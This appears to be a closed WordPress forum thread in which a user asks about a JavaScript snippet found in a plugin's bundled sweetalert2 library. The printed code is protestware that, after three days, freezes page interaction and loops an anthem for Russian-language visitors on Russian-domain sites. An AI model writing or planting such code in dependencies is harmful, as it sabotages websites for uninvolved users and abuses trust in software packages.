The virus code
-
What is this?
// Dear russian users visiting russian sites. Let's have fun.
if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
const now = new Date();
const initiationDate = localStorage.getItem('swal-initiation');
if (!initiationDate) {
localStorage.setItem('swal-initiation',${now});
} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
setTimeout(() => {
document.body.style.pointerEvents = 'none';
const ukrainianAnthem = document.createElement('audio');
ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
ukrainianAnthem.loop = true;
document.body.appendChild(ukrainianAnthem);
setTimeout(() => {
ukrainianAnthem.play().catch(() => {
// ignore
});
}, 2500);
}, 500);
}
}File: /wp-content/plugins/graphina-elementor-charts-and-graphs/node_modules/sweetalert2/dist/sweetalert2.esm.all.js
lines: 4538-4558
Why should I look for it?
Are you politicized?
Please provide the source code for verification
Viewing 5 replies - 1 through 5 (of 5 total)
Viewing 5 replies - 1 through 5 (of 5 total)
The topic ‘The virus code’ is closed to new replies.